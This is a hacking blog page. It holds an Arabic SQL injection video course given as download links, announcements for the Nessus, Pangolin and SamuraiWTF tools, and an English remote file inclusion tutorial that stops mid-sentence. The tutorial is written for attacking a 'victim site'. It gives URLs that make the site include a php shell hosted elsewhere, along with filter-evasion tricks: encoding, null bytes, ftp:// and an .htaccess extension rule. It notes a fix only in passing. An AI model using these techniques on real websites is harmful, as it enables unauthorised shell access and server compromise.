Special Security

Showing posts with label Web H4ckîng. Show all posts

في حقن قواعد البيانات Gang Hackers Arabs دورة

بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته

دورة Gang Hackers Arabs في حقن قواعد البيانات
مقدمة من قبل Juba

MySQL4

اقتباس:

http://www.4shared.com/file/108969649/3c0b10c4/MySQL4.html

MySQL5_P1

اقتباس:

http://www.4shared.com/file/108972701/bd1f9974/MySQL_1_.html

MySQL5_P2

اقتباس:

http://www.4shared.com/file/108976045/543319bb/MySQL_2_.html

load_file using

اقتباس:

http://www.4shared.com/file/108741125/e3d6f713/load_file.html

My Advanced MySQL Injection With Joomla

اقتباس:

http://www.4shared.com/file/108965211/2787bd7/joomla.html

MySQL No Error Injection

اقتباس:

http://www.4shared.com/file/108778999/3d2f0611/MySQL-No_Error.html

MsSQL Injection

Part1

اقتباس:

http://www.4shared.com/file/101165267/dd918f9b/M1_online.html

Part2

اقتباس:

http://www.4shared.com/file/101165730/38492c96/part2.html

Part3

اقتباس:

http://www.4shared.com/file/101165990/c838e916/Part3.html

MSSQL Attack with Guess tables&Columns

At the end private lesson with B0rN To K!ll
MsSQL Injection without Guess tables&Columns

اقتباس:

http://geocities.com/AsbMay_Video/MsSQL-Injection.zip

MSSQL Attack with Guess tables&Columns

اقتباس:

http://www.4shared.com/file/87698193/104c8e09/MSSQL_ATTACK.html

Auth Bypass

اقتباس:

http://www.4shared.com/file/108964368/8d9b58e6/Bypass.html

جميع الحقوق محفوظة
Juba
Gang Hackers Arabs

Nessus v 4.0.1 Released

Tenable Network Security has released version 4.0.1 of the Nessus vulnerability scanner. This point release includes a variety of minor bug fixes as well as support for additional authentication schemes. All customers are encouraged to upgrade to the latest version of the Nessus Server and NessusClient.

The list of improvements is available here

~~Download Nessus 4.0.1

Pangolin - Automatic SQL Injection Tool

~ Posted by Joe2010 | Tagged with Database H4ckîng , H4ckîng Tools , Web H4ckîng | Leave a Comment

Pangolin is an automatic SQL injection penetration testing tool developed by NOSEC. Its goal is to detect and take advantage of SQL injection vulnerabilities on web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user’s specific DBMS tables/columns, run his own SQL statement, read specific files on the file system and more.

Database Support

Access: Informations (Database Path; Root Path; Drivers); Data
MSSql: Informations; Data; FileReader; RegReader; FileWriter; Cmd; DirTree
MySql: Informations; Data; FileReader; FileWriter;
Oracle: Inforatmions (Version; IP; Database; Accounts ……); Data; and any others;
Informix: Informatons; Data
DB2: Informatons; Data; and more;
Sybase: Informatons; Data; and more;
PostgreSQL: Informatons; Data; FileReader;
Sqlite: Informatons; Data

At present, most of the functions are directed at MSSQL and MySql coupled with Oracle and Access. Other small and medium-sized companies are using DB2, Informix, Sybase, PostgreSQL, as well as Sqlite which isn’t so common.

You can download Pangolin here:

pangolin_free_edition_2.1.2.924.rar (Download Page)

Or read more here.

Samurai Web Testing Framework 0.6 Released - Web Application Security LiveCD

~ Posted by Joe2010 | Tagged with H4ckîng Tools , Web H4ckîng | Leave a Comment

You may remember we wrote about Samurai being released back in November 2008, it’s been quite a while since the last update.

b Testing Framework is a live linux environment that has been pre-configured to function as a web pen-testing environment. The CD contains the best of the open source and free tools that focus on testing and attacking websites. There are tools used in all four steps of a web pen-test.

Starting with reconnaissance, we have included tools such as the Fierce domain scanner and Maltego. For mapping, we have included tools such WebScarab and ratproxy. We then chose tools for discovery. These would include w3af and burp. For exploitation, the final stage, we included BeEF, AJAXShell and much more. This CD also includes a pre-configured wiki, set up to be the central information store during your pen-test.

You can download SamuraiWTF 0.6 here:

samurai-0.6.iso

Or read more here.

About remote file inclusion |RFI|

~ Posted by Joe2010 | Tagged with Tutorials H4Ckîng [EN] , Web H4ckîng | Leave a Comment

about remote file inclusion |RFI|

remote file inclusion is where you include a remote file..usaully the file you include will be for malicious purposes

backdoors

what is a backdoor

well your house has a front door...that usually is supposed to be welcoming
a backdoor doesnt look welcoming because people arent usually supposed to use it

a computer backdoor is a code/script that runs on a system with stealth
it allows hackers secret access to the affected system if it is setup up correctly
a backdoor usualy runs as a hidden proccess and will open various port and accept commands for the hacker that is using it

shell

what is a shell

there are many forms of shells..we will not be talking about sea shells today though
a shell on a system is a session/terminal that takes commands etc..like a mini command center
shells can be in php,java,c and other various languages

today i will explain a php shell is

a php shell is a script in php designed to take user inputted commands and browse files,execute commands,edit files,upload files,like a files manager
a php shell is executed via your web browser
eg...www.sites.com/shell.php?
the php shell gives you the same sort of access as if you were at that machine on the same account it is executed on..

remote file inclusion happens usually when someone make a php script and doesnt code it so that the script sanitizes the users input and there are no restrictions running on the server hosting the website with the vulnerable page

a vulnerable page's source code may have this in it

this would mean that

"page" without the quotes is the variable

so you would type

site.com/index.php?page=http://site.com/shell.txt?

note:it must be .txt in extension on server otherwise it will run on the other server where the remote file is located

also rfi wont work if url fopen or url include is disabled or if the page is patched

in order to patch theor script in php they should replace

require($page . "faq.php");

with

require("faq.php");

and then the script cant take user input through the url

also if there is mod_security enabled try encoding the shell link in base 64 or hex code

and for scripts that dont fully sanitise the user input but do check to a certain extent

use the nullbyte trick at the very end of the url

eg:

site.com/index.php?page=http://site.com/shell.txt?

well if there is anything i missed.tell me

edit:
thought of 2 i forgot myself

some filters filter out http:// so try ftp:// instead
so instead of using the http protocal use the ftp protocal

also try converting the shells link to binary
eg

site.com/index.php?page=binary string

---------updated

okies this is just small a update

sometimes a site may have in its code some security code to make it so that the file MUST have an extension of .html or somethinng or .pdf

so if you atacked

127.0.0.1index.php?page=document.pdf

and changed the document.pdf to your shell link

127.0.0.1index.php?page=http://shell.com/shell.txt?

and got an error like this

warning: failed for inclusion http://site.com/shell.txt.pdf? blah blah blah

notice your input was shell.txt and it tried including a file called shell.txt.pdf

then you would goto your shell host and create a rule with a .htaccess file with the following code

AddType application/octect-stream pdf

you could also make it show the php file as a text file by using

AddType text/plain pdf

save this as a .htaccess file with 1 of the 2 codes above

anyways now lets get to the interesting part

now lets remember your php shell must end in a .pdf extension but show as a txt file

so rename your file shell.txt to shell.pdf

now goto your victim site and dont include the extension,let the php code do the work for ya;) teamwork is always usefull

and use